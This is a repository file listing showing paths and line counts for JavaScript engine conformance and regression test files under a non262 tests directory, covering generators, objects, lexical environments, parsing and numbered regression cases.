-rw-r--r--js/src/tests/non262/generators/regress-345855.js90
-rw-r--r--js/src/tests/non262/generators/regress-345879-01.js30
-rw-r--r--js/src/tests/non262/generators/regress-349362.js26
-rw-r--r--js/src/tests/non262/generators/regress-349851.js33
-rw-r--r--js/src/tests/non262/generators/regress-350809.js33
-rw-r--r--js/src/tests/non262/generators/regress-351120.js33
-rw-r--r--js/src/tests/non262/generators/regress-359062.js38
-rw-r--r--js/src/tests/non262/generators/regress-366941.js80
-rw-r--r--js/src/tests/non262/generators/regress-384991.js56
-rw-r--r--js/src/tests/non262/generators/regress-466206.js35
-rw-r--r--js/src/tests/non262/generators/return-finally.js309
-rw-r--r--js/src/tests/non262/generators/runtime.js132
-rw-r--r--js/src/tests/non262/generators/shell.js17
-rw-r--r--js/src/tests/non262/generators/simple-fib.js55
-rw-r--r--js/src/tests/non262/generators/subclass.js33
-rw-r--r--js/src/tests/non262/generators/syntax.js140
-rw-r--r--js/src/tests/non262/generators/yield-error.js32
-rw-r--r--js/src/tests/non262/generators/yield-iterator-close.js58
-rw-r--r--js/src/tests/non262/generators/yield-non-regexp.js16
-rw-r--r--js/src/tests/non262/generators/yield-star-iterator-close.js153
-rw-r--r--js/src/tests/non262/generators/yield-star-iterator-primitive.js31
-rw-r--r--js/src/tests/non262/generators/yield-star-throw-htmldda.js28
-rw-r--r--js/src/tests/non262/get-set/browser.js0
-rw-r--r--js/src/tests/non262/get-set/getset-002.js48
-rw-r--r--js/src/tests/non262/get-set/regress-375976.js28
-rw-r--r--js/src/tests/non262/get-set/shell.js0
-rw-r--r--js/src/tests/non262/global/adding-global-var-nonextensible-error.js36
-rw-r--r--js/src/tests/non262/global/browser.js0
-rw-r--r--js/src/tests/non262/global/bug-320887.js15
-rw-r--r--js/src/tests/non262/global/bug660612.js7
-rw-r--r--js/src/tests/non262/global/cross-global-implicit-this.js84
-rw-r--r--js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js26
-rw-r--r--js/src/tests/non262/global/delete-global-NaN-property.js32
-rw-r--r--js/src/tests/non262/global/direct-eval-but-not.js32
-rw-r--r--js/src/tests/non262/global/eval-01.js38
-rw-r--r--js/src/tests/non262/global/eval-02.js38
-rw-r--r--js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js30
-rw-r--r--js/src/tests/non262/global/eval-inside-with-is-direct.js28
-rw-r--r--js/src/tests/non262/global/eval-native-callback-is-indirect.js32
-rw-r--r--js/src/tests/non262/global/globalThis-enumeration.js5
-rw-r--r--js/src/tests/non262/global/parenthesized-eval-is-direct.js68
-rw-r--r--js/src/tests/non262/global/parseFloat-01.js24
-rw-r--r--js/src/tests/non262/global/parseInt-01.js170
-rw-r--r--js/src/tests/non262/global/parseInt-default-to-decimal.js31
-rw-r--r--js/src/tests/non262/global/shell.js0
-rw-r--r--js/src/tests/non262/iterable/browser.js0
-rw-r--r--js/src/tests/non262/iterable/regress-340526-01.js27
-rw-r--r--js/src/tests/non262/iterable/regress-341815.js83
-rw-r--r--js/src/tests/non262/iterable/regress-341821.js72
-rw-r--r--js/src/tests/non262/iterable/regress-415922.js46
-rw-r--r--js/src/tests/non262/iterable/shell.js0
-rw-r--r--js/src/tests/non262/jit/browser.js0
-rw-r--r--js/src/tests/non262/jit/math-jit-tests.js535
-rw-r--r--js/src/tests/non262/jit/regress-451673.js78
-rw-r--r--js/src/tests/non262/jit/regress-451974-01.js52
-rw-r--r--js/src/tests/non262/jit/regress-451974-02.js60
-rw-r--r--js/src/tests/non262/jit/regress-452498-01.js72
-rw-r--r--js/src/tests/non262/jit/regress-458838.js39
-rw-r--r--js/src/tests/non262/jit/regress-469927.js41
-rw-r--r--js/src/tests/non262/jit/regress-470739.js43
-rw-r--r--js/src/tests/non262/jit/regress-489682.js31
-rw-r--r--js/src/tests/non262/jit/shell.js0
-rw-r--r--js/src/tests/non262/lexical-conventions/browser.js0
-rw-r--r--js/src/tests/non262/lexical-conventions/lexical-001.js146
-rw-r--r--js/src/tests/non262/lexical-conventions/regress-177314.js73
-rw-r--r--js/src/tests/non262/lexical-conventions/regress-469940.js35
-rw-r--r--js/src/tests/non262/lexical-conventions/shell.js0
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-arguments.js10
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-eval.js51
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-generators.js26
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-if.js42
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-label.js43
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-notapplicable.js14
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-parameter.js21
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-property.js18
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-same-name.js7
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b-with.js18
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-annex-b.js31
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-deprecated-redecl.js78
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-hoisted-tdz.js30
-rw-r--r--js/src/tests/non262/lexical-environment/block-scoped-functions-strict.js45
-rw-r--r--js/src/tests/non262/lexical-environment/browser.js0
-rw-r--r--js/src/tests/non262/lexical-environment/bug-1216623.js19
-rw-r--r--js/src/tests/non262/lexical-environment/catch-body.js19
-rw-r--r--js/src/tests/non262/lexical-environment/const-declaration-in-for-loop.js88
-rw-r--r--js/src/tests/non262/lexical-environment/eval-has-lexical-environment.js45
-rw-r--r--js/src/tests/non262/lexical-environment/eval-nondefinable-function.js10
-rw-r--r--js/src/tests/non262/lexical-environment/for-loop-with-bindings-added-at-runtime.js125
-rw-r--r--js/src/tests/non262/lexical-environment/for-loop.js121
-rw-r--r--js/src/tests/non262/lexical-environment/implicit-this-in-with.js18
-rw-r--r--js/src/tests/non262/lexical-environment/nondefinable-function-same-script.js24
-rw-r--r--js/src/tests/non262/lexical-environment/redeclaring-global-properties.js64
-rw-r--r--js/src/tests/non262/lexical-environment/shell.js0
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-basics.js22
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-closures.js23
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-const.js8
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-delete.js27
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-getters.js41
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-global.js18
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-ignored.js22
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-miss.js7
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-mutation-frozen.js18
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-mutation.js44
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-proto.js39
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-proxy.js46
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-strict.js32
-rw-r--r--js/src/tests/non262/lexical-environment/unscopables-tdz.js9
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-destructuring.js10
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval-for-of.js12
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b-eval.js21
-rw-r--r--js/src/tests/non262/lexical-environment/var-in-catch-body-annex-b.js114
-rw-r--r--js/src/tests/non262/lexical-environment/with-global-ignores-global-let-variables.js18
-rw-r--r--js/src/tests/non262/lexical/browser.js0
-rw-r--r--js/src/tests/non262/lexical/regress-336376-01.js322
-rw-r--r--js/src/tests/non262/lexical/regress-346642-04.js33
-rw-r--r--js/src/tests/non262/lexical/regress-351515.js94
-rw-r--r--js/src/tests/non262/lexical/shell.js0
-rw-r--r--js/src/tests/non262/literals/numeric/idstart-after-numeric.js15
-rw-r--r--js/src/tests/non262/literals/numeric/shell.js0
-rw-r--r--js/src/tests/non262/literals/shell.js0
-rw-r--r--js/src/tests/non262/misc/browser.js0
-rw-r--r--js/src/tests/non262/misc/bug1126318.js13
-rw-r--r--js/src/tests/non262/misc/builtin-methods-reject-null-undefined-this.js156
-rw-r--r--js/src/tests/non262/misc/enumerate-undefined.js24
-rw-r--r--js/src/tests/non262/misc/error-undefined-message.js7
-rw-r--r--js/src/tests/non262/misc/explicit-undefined-optional-argument.js34
-rw-r--r--js/src/tests/non262/misc/function-definition-eval.js348
-rw-r--r--js/src/tests/non262/misc/function-definition-evaluate.js344
-rw-r--r--js/src/tests/non262/misc/future-reserved-words.js493
-rw-r--r--js/src/tests/non262/misc/getter-setter-outerize-this.js21
-rw-r--r--js/src/tests/non262/misc/global-numeric-properties.js59
-rw-r--r--js/src/tests/non262/misc/line-paragraph-separator-parse-as-lineterminator.js51
-rw-r--r--js/src/tests/non262/misc/new-with-non-constructor.js32
-rw-r--r--js/src/tests/non262/misc/redeclare-var-non-writable-property.js24
-rw-r--r--js/src/tests/non262/misc/regexp-functions-with-undefined.js43
-rw-r--r--js/src/tests/non262/misc/regress-bug632003.js63
-rw-r--r--js/src/tests/non262/misc/shell.js0
-rw-r--r--js/src/tests/non262/misc/syntax-error-end-of-for-head-part.js51
-rw-r--r--js/src/tests/non262/misc/unicode-escaped-keyword.js22
-rw-r--r--js/src/tests/non262/misc/unicode-identifier-1d17.js16
-rw-r--r--js/src/tests/non262/misc/unicode-identifier-82f1.js16
-rw-r--r--js/src/tests/non262/misc/unnamed-function.js42
-rw-r--r--js/src/tests/non262/misc/unwrapped-no-such-method.js13
-rw-r--r--js/src/tests/non262/module/await-restricted-nested.js6
-rw-r--r--js/src/tests/non262/module/browser.js0
-rw-r--r--js/src/tests/non262/module/bug1488117-empty.js3
-rw-r--r--js/src/tests/non262/module/bug1488117-import-namespace.js3
-rw-r--r--js/src/tests/non262/module/bug1488117.js14
-rw-r--r--js/src/tests/non262/module/bug1689499-a.js5
-rw-r--r--js/src/tests/non262/module/bug1689499-b.js6
-rw-r--r--js/src/tests/non262/module/bug1689499-c.js8
-rw-r--r--js/src/tests/non262/module/bug1689499-x.js3
-rw-r--r--js/src/tests/non262/module/bug1689499.js23
-rw-r--r--js/src/tests/non262/module/bug1693261-async.mjs7
-rw-r--r--js/src/tests/non262/module/bug1693261-c1.mjs6
-rw-r--r--js/src/tests/non262/module/bug1693261-c2.mjs6
-rw-r--r--js/src/tests/non262/module/bug1693261-x.mjs6
-rw-r--r--js/src/tests/non262/module/bug1693261.js33
-rw-r--r--js/src/tests/non262/module/module-export-name-star.js12
-rw-r--r--js/src/tests/non262/module/shell.js0
-rw-r--r--js/src/tests/non262/object/15.2.3.12.js46
-rw-r--r--js/src/tests/non262/object/15.2.3.14-01.js92
-rw-r--r--js/src/tests/non262/object/15.2.3.3-01.js285
-rw-r--r--js/src/tests/non262/object/15.2.3.4-01.js30
-rw-r--r--js/src/tests/non262/object/15.2.3.4-02.js52
-rw-r--r--js/src/tests/non262/object/15.2.3.4-03.js55
-rw-r--r--js/src/tests/non262/object/15.2.3.4-04.js31
-rw-r--r--js/src/tests/non262/object/15.2.3.5-01.js60
-rw-r--r--js/src/tests/non262/object/15.2.3.6-define-over-method.js24
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-01-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-02-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-03-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-04-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-05-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-06-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-07-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-08-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-09-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-10-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-11-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-12-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-13-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-14-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-15-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-16-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-17-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-18-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-19-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-20-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-21-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-22-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-23-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-24-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-25-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-26-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-27-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-28-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-29-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-30-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-31-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-dictionary-redefinition-32-of-32.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-function-length.js35
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-1-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-2-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-3-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-4-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-5-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-6-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-7-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-middle-redefinition-8-of-8.js6
-rw-r--r--js/src/tests/non262/object/15.2.3.6-miscellaneous.js74
-rw-r--r--js/src/tests/non262/object/15.2.3.6-new-definition.js35
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-1-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-2-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-3-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.6-redefinition-4-of-4.js39
-rw-r--r--js/src/tests/non262/object/15.2.3.7-01.js137
-rw-r--r--js/src/tests/non262/object/15.2.3.9.js51
-rw-r--r--js/src/tests/non262/object/accessor-arguments-rest.js24
-rw-r--r--js/src/tests/non262/object/accessor-name.js35
-rw-r--r--js/src/tests/non262/object/accessor-non-constructor.js20
-rw-r--r--js/src/tests/non262/object/add-property-non-extensible.js118
-rw-r--r--js/src/tests/non262/object/assign.js303
-rw-r--r--js/src/tests/non262/object/browser.js7
-rw-r--r--js/src/tests/non262/object/bug-1150906.js13
-rw-r--r--js/src/tests/non262/object/bug-1206700.js10
-rw-r--r--js/src/tests/non262/object/clear-dictionary-accessor-getset.js55
-rw-r--r--js/src/tests/non262/object/defineGetter-defineSetter.js92
-rw-r--r--js/src/tests/non262/object/defineProperties-callable-accessor.js19
-rw-r--r--js/src/tests/non262/object/defineProperties-order.js17
-rw-r--r--js/src/tests/non262/object/defineProperty-proxy.js54
-rw-r--r--js/src/tests/non262/object/defineProperty-setup.js1071
-rw-r--r--js/src/tests/non262/object/destructuring-shorthand-defaults.js127
-rw-r--r--js/src/tests/non262/object/duplProps.js116
-rw-r--r--js/src/tests/non262/object/entries.js94
-rw-r--r--js/src/tests/non262/object/extensibility-01.js103
-rw-r--r--js/src/tests/non262/object/extensibility-02.js42
-rw-r--r--js/src/tests/non262/object/freeze-global-eval-const.js13
-rw-r--r--js/src/tests/non262/object/freeze-proxy.js27
-rw-r--r--js/src/tests/non262/object/freeze.js21
-rw-r--r--js/src/tests/non262/object/gOPD-vs-prototype-accessor.js15
-rw-r--r--js/src/tests/non262/object/getOwnPropertyDescriptor.js35
-rw-r--r--js/src/tests/non262/object/getOwnPropertySymbols-proxy.js28
-rw-r--r--js/src/tests/non262/object/getOwnPropertySymbols.js46
-rw-r--r--js/src/tests/non262/object/getPrototypeOf-array.js32
-rw-r--r--js/src/tests/non262/object/getPrototypeOf.js22
-rw-r--r--js/src/tests/non262/object/getter-name.js10
-rw-r--r--js/src/tests/non262/object/hasOwn.js18
-rw-r--r--js/src/tests/non262/object/isExtensible.js21
-rw-r--r--js/src/tests/non262/object/isFrozen.js21
-rw-r--r--js/src/tests/non262/object/isPrototypeOf.js86
-rw-r--r--js/src/tests/non262/object/isSealed.js21
-rw-r--r--js/src/tests/non262/object/keys.js23
-rw-r--r--js/src/tests/non262/object/method-non-constructor.js12
-rw-r--r--js/src/tests/non262/object/mutation-prevention-methods.js124
-rw-r--r--js/src/tests/non262/object/object-create-with-primitive-second-arg.js8
-rw-r--r--js/src/tests/non262/object/object-toString-01.js46
-rw-r--r--js/src/tests/non262/object/preventExtensions-idempotent.js30
-rw-r--r--js/src/tests/non262/object/preventExtensions-proxy.js23
-rw-r--r--js/src/tests/non262/object/preventExtensions.js21
-rw-r--r--js/src/tests/non262/object/property-descriptor-order.js17
-rw-r--r--js/src/tests/non262/object/propertyIsEnumerable-proxy.js59
-rw-r--r--js/src/tests/non262/object/propertyIsEnumerable.js199
-rw-r--r--js/src/tests/non262/object/proto-property-change-writability-set.js56
-rw-r--r--js/src/tests/non262/object/regress-137000.js203
-rw-r--r--js/src/tests/non262/object/regress-192105.js146
-rw-r--r--js/src/tests/non262/object/regress-308806-01.js20
-rw-r--r--js/src/tests/non262/object/regress-338709.js74
-rw-r--r--js/src/tests/non262/object/regress-361274.js30
-rw-r--r--js/src/tests/non262/object/regress-382503.js29
-rw-r--r--js/src/tests/non262/object/regress-382532.js33
-rw-r--r--js/src/tests/non262/object/regress-385393-07.js31
-rw-r--r--js/src/tests/non262/object/regress-444787.js101
-rw-r--r--js/src/tests/non262/object/regress-459405.js37
-rw-r--r--js/src/tests/non262/object/regress-465476.js60
-rw-r--r--js/src/tests/non262/object/regress-72773.js60
-rw-r--r--js/src/tests/non262/object/regress-79129-001.js44
-rw-r--r--js/src/tests/non262/object/regress-90596-003.js275
-rw-r--r--js/src/tests/non262/object/seal-proxy.js27
-rw-r--r--js/src/tests/non262/object/seal.js21
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-cross-realm-cycle.js11
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-cycle.js16
-rw-r--r--js/src/tests/non262/object/setPrototypeOf-same-value.js11
-rw-r--r--js/src/tests/non262/object/shell.js62
-rw-r--r--js/src/tests/non262/object/toLocaleString-01.js13
-rw-r--r--js/src/tests/non262/object/toLocaleString.js102
-rw-r--r--js/src/tests/non262/object/toPrimitive-callers.js57
-rw-r--r--js/src/tests/non262/object/toPrimitive.js101
-rw-r--r--js/src/tests/non262/object/vacuous-accessor-unqualified-name.js26
-rw-r--r--js/src/tests/non262/object/values-entries-indexed.js71
-rw-r--r--js/src/tests/non262/object/values-entries-lazy-props.js93
-rw-r--r--js/src/tests/non262/object/values-entries-typedarray.js53
-rw-r--r--js/src/tests/non262/object/values.js94
-rw-r--r--js/src/tests/non262/operators/11.13.1-001.js115
-rw-r--r--js/src/tests/non262/operators/11.13.1-002.js24
-rw-r--r--js/src/tests/non262/operators/11.4.1-001.js83
-rw-r--r--js/src/tests/non262/operators/11.4.1-002.js36
-rw-r--r--js/src/tests/non262/operators/browser.js0
-rw-r--r--js/src/tests/non262/operators/instanceof-bound-function-recursion.js23
-rw-r--r--js/src/tests/non262/operators/order-01.js72
-rw-r--r--js/src/tests/non262/operators/shell.js0
-rw-r--r--js/src/tests/non262/reflect-parse/Match.js242
-rw-r--r--js/src/tests/non262/reflect-parse/PatternAsserts.js95
-rw-r--r--js/src/tests/non262/reflect-parse/PatternBuilders.js290
-rw-r--r--js/src/tests/non262/reflect-parse/async.js25
-rw-r--r--js/src/tests/non262/reflect-parse/browser.js0
-rw-r--r--js/src/tests/non262/reflect-parse/class-fields.js23
-rw-r--r--js/src/tests/non262/reflect-parse/class-static.js8
-rw-r--r--js/src/tests/non262/reflect-parse/classes.js551
-rw-r--r--js/src/tests/non262/reflect-parse/computedPropNames.js45
-rw-r--r--js/src/tests/non262/reflect-parse/declarations.js97
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-array-holes-reflect-as-null.js9
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-assignment.js32
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-function-parameters.js45
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring-variable-declarations.js58
-rw-r--r--js/src/tests/non262/reflect-parse/destructuring__proto__.js16
-rw-r--r--js/src/tests/non262/reflect-parse/expression-short-circuit-compound-assignment.js11
-rw-r--r--js/src/tests/non262/reflect-parse/expression.js193
-rw-r--r--js/src/tests/non262/reflect-parse/for-loop-destructuring.js47
-rw-r--r--js/src/tests/non262/reflect-parse/generators.js12
-rw-r--r--js/src/tests/non262/reflect-parse/lexicals.js19
-rw-r--r--js/src/tests/non262/reflect-parse/location.js33
-rw-r--r--js/src/tests/non262/reflect-parse/methodDefn.js51
-rw-r--r--js/src/tests/non262/reflect-parse/module-export-name.js117
-rw-r--r--js/src/tests/non262/reflect-parse/newTarget.js42
-rw-r--r--js/src/tests/non262/reflect-parse/object-rest.js41
-rw-r--r--js/src/tests/non262/reflect-parse/object-spread.js29
-rw-r--r--js/src/tests/non262/reflect-parse/proxyArgs.js13
-rw-r--r--js/src/tests/non262/reflect-parse/shell.js66
-rw-r--r--js/src/tests/non262/reflect-parse/stackOverflow.js8
-rw-r--r--js/src/tests/non262/reflect-parse/statements.js88
-rw-r--r--js/src/tests/non262/reflect-parse/templateStrings.js42
-rw-r--r--js/src/tests/non262/regress/browser.js0
-rw-r--r--js/src/tests/non262/regress/regress-102725.js61
-rw-r--r--js/src/tests/non262/regress/regress-10278.js45
-rw-r--r--js/src/tests/non262/regress/regress-104077.js470
-rw-r--r--js/src/tests/non262/regress/regress-110286.js119
-rw-r--r--js/src/tests/non262/regress/regress-111557.js10931
-rw-r--r--js/src/tests/non262/regress/regress-114491.js69
-rw-r--r--js/src/tests/non262/regress/regress-114493.js77
-rw-r--r--js/src/tests/non262/regress/regress-116228.js24
-rw-r--r--js/src/tests/non262/regress/regress-118849.js149
-rw-r--r--js/src/tests/non262/regress/regress-131510-001.js40
-rw-r--r--js/src/tests/non262/regress/regress-1383630.js827
-rw-r--r--js/src/tests/non262/regress/regress-139316.js46
-rw-r--r--js/src/tests/non262/regress/regress-140852.js32
-rw-r--r--js/src/tests/non262/regress/regress-140974.js103
-rw-r--r--js/src/tests/non262/regress/regress-1456512-greyreadbarrier.js9
-rw-r--r--js/src/tests/non262/regress/regress-1456512.js21
-rw-r--r--js/src/tests/non262/regress/regress-1456518-workergray.js7
-rw-r--r--js/src/tests/non262/regress/regress-1463421.js31
-rw-r--r--js/src/tests/non262/regress/regress-146596.js121
-rw-r--r--js/src/tests/non262/regress/regress-1466387-worker-grayroot.js28
-rw-r--r--js/src/tests/non262/regress/regress-1476383-calloc-exc.js12
-rw-r--r--js/src/tests/non262/regress/regress-1507322-deep-weakmap.js11
-rw-r--r--js/src/tests/non262/regress/regress-152646.js90
-rw-r--r--js/src/tests/non262/regress/regress-155081-2.js17520
-rw-r--r--js/src/tests/non262/regress/regress-155081.js17527
-rw-r--r--js/src/tests/non262/regress/regress-156354.js94
-rw-r--r--js/src/tests/non262/regress/regress-1572988-nurseryRegisterCheck.js43
-rw-r--r--js/src/tests/non262/regress/regress-159334.js92
-rw-r--r--js/src/tests/non262/regress/regress-162392.js32
-rw-r--r--js/src/tests/non262/regress/regress-165201.js55
-rw-r--r--js/src/tests/non262/regress/regress-167328.js26
-rw-r--r--js/src/tests/non262/regress/regress-167658.js28
-rw-r--r--js/src/tests/non262/regress/regress-168347.js183
-rw-r--r--js/src/tests/non262/regress/regress-170193.js74
-rw-r--r--js/src/tests/non262/regress/regress-1714532-oom-gc-yield.js9
-rw-r--r--js/src/tests/non262/regress/regress-172699.js69
-rw-r--r--js/src/tests/non262/regress/regress-174709.js69
-rw-r--r--js/src/tests/non262/regress/regress-176125.js49
-rw-r--r--js/src/tests/non262/regress/regress-179524.js292
-rw-r--r--js/src/tests/non262/regress/regress-185165.js64
-rw-r--r--js/src/tests/non262/regress/regress-191633.js70
-rw-r--r--js/src/tests/non262/regress/regress-191668.js67
-rw-r--r--js/src/tests/non262/regress/regress-192414.js85
-rw-r--r--js/src/tests/non262/regress/regress-193418.js67
-rw-r--r--js/src/tests/non262/regress/regress-203278-1.js30
-rw-r--r--js/src/tests/non262/regress/regress-203402.js58
-rw-r--r--js/src/tests/non262/regress/regress-203841.js127
-rw-r--r--js/src/tests/non262/regress/regress-204210.js116
-rw-r--r--js/src/tests/non262/regress/regress-210682.js64
-rw-r--r--js/src/tests/non262/regress/regress-211590.js54
-rw-r--r--js/src/tests/non262/regress/regress-214761.js44
-rw-r--r--js/src/tests/non262/regress/regress-216320.js1006
-rw-r--r--js/src/tests/non262/regress/regress-224956.js248
-rw-r--r--js/src/tests/non262/regress/regress-229006.js65563
-rw-r--r--js/src/tests/non262/regress/regress-230216-1.js47
-rw-r--r--js/src/tests/non262/regress/regress-230216-2.js39
-rw-r--r--js/src/tests/non262/regress/regress-230216-3.js46
-rw-r--r--js/src/tests/non262/regress/regress-233483-2.js59
-rw-r--r--js/src/tests/non262/regress/regress-233483.js44
-rw-r--r--js/src/tests/non262/regress/regress-234389.js39
-rw-r--r--js/src/tests/non262/regress/regress-238881.js30
-rw-r--r--js/src/tests/non262/regress/regress-238945.js18
-rw-r--r--js/src/tests/non262/regress/regress-243174.js21
-rw-r--r--js/src/tests/non262/regress/regress-243389-n.js24
-rw-r--r--js/src/tests/non262/regress/regress-243869.js38
-rw-r--r--js/src/tests/non262/regress/regress-244470.js1080
-rw-r--r--js/src/tests/non262/regress/regress-244619.js32
-rw-r--r--js/src/tests/non262/regress/regress-245113.js47
-rw-r--r--js/src/tests/non262/regress/regress-245308.js27
-rw-r--r--js/src/tests/non262/regress/regress-246911.js30
-rw-r--r--js/src/tests/non262/regress/regress-246964.js160
-rw-r--r--js/src/tests/non262/regress/regress-247179.js18
-rw-r--r--js/src/tests/non262/regress/regress-248444.js31
-rw-r--r--js/src/tests/non262/regress/regress-252892.js68
-rw-r--r--js/src/tests/non262/regress/regress-254296.js26
-rw-r--r--js/src/tests/non262/regress/regress-254974.js38
-rw-r--r--js/src/tests/non262/regress/regress-256501.js38
-rw-r--r--js/src/tests/non262/regress/regress-256617.js35
-rw-r--r--js/src/tests/non262/regress/regress-256798.js36
-rw-r--r--js/src/tests/non262/regress/regress-259935.js42
-rw-r--r--js/src/tests/non262/regress/regress-260541.js21
-rw-r--r--js/src/tests/non262/regress/regress-261886.js29
-rw-r--r--js/src/tests/non262/regress/regress-261887.js36
-rw-r--r--js/src/tests/non262/regress/regress-271716-n.js27
-rw-r--r--js/src/tests/non262/regress/regress-274035.js29
-rw-r--r--js/src/tests/non262/regress/regress-274888.js35
-rw-r--r--js/src/tests/non262/regress/regress-275378.js47
-rw-r--r--js/src/tests/non262/regress/regress-276103.js26
-rw-r--r--js/src/tests/non262/regress/regress-278873.js27
-rw-r--r--js/src/tests/non262/regress/regress-280769-1.js27
-rw-r--r--js/src/tests/non262/regress/regress-280769-2.js44
-rw-r--r--js/src/tests/non262/regress/regress-280769-3.js45
-rw-r--r--js/src/tests/non262/regress/regress-280769-4.js47
-rw-r--r--js/src/tests/non262/regress/regress-280769-5.js34
-rw-r--r--js/src/tests/non262/regress/regress-280769.js39
-rw-r--r--js/src/tests/non262/regress/regress-281606.js46
-rw-r--r--js/src/tests/non262/regress/regress-281930.js20
-rw-r--r--js/src/tests/non262/regress/regress-283477.js24
-rw-r--r--js/src/tests/non262/regress/regress-288688.js47
-rw-r--r--js/src/tests/non262/regress/regress-289094.js27
-rw-r--r--js/src/tests/non262/regress/regress-290575.js57
-rw-r--r--js/src/tests/non262/regress/regress-290656.js32
-rw-r--r--js/src/tests/non262/regress/regress-294191.js29
-rw-r--r--js/src/tests/non262/regress/regress-294195-01.js25
-rw-r--r--js/src/tests/non262/regress/regress-294195-02.js17
-rw-r--r--js/src/tests/non262/regress/regress-294302.js24
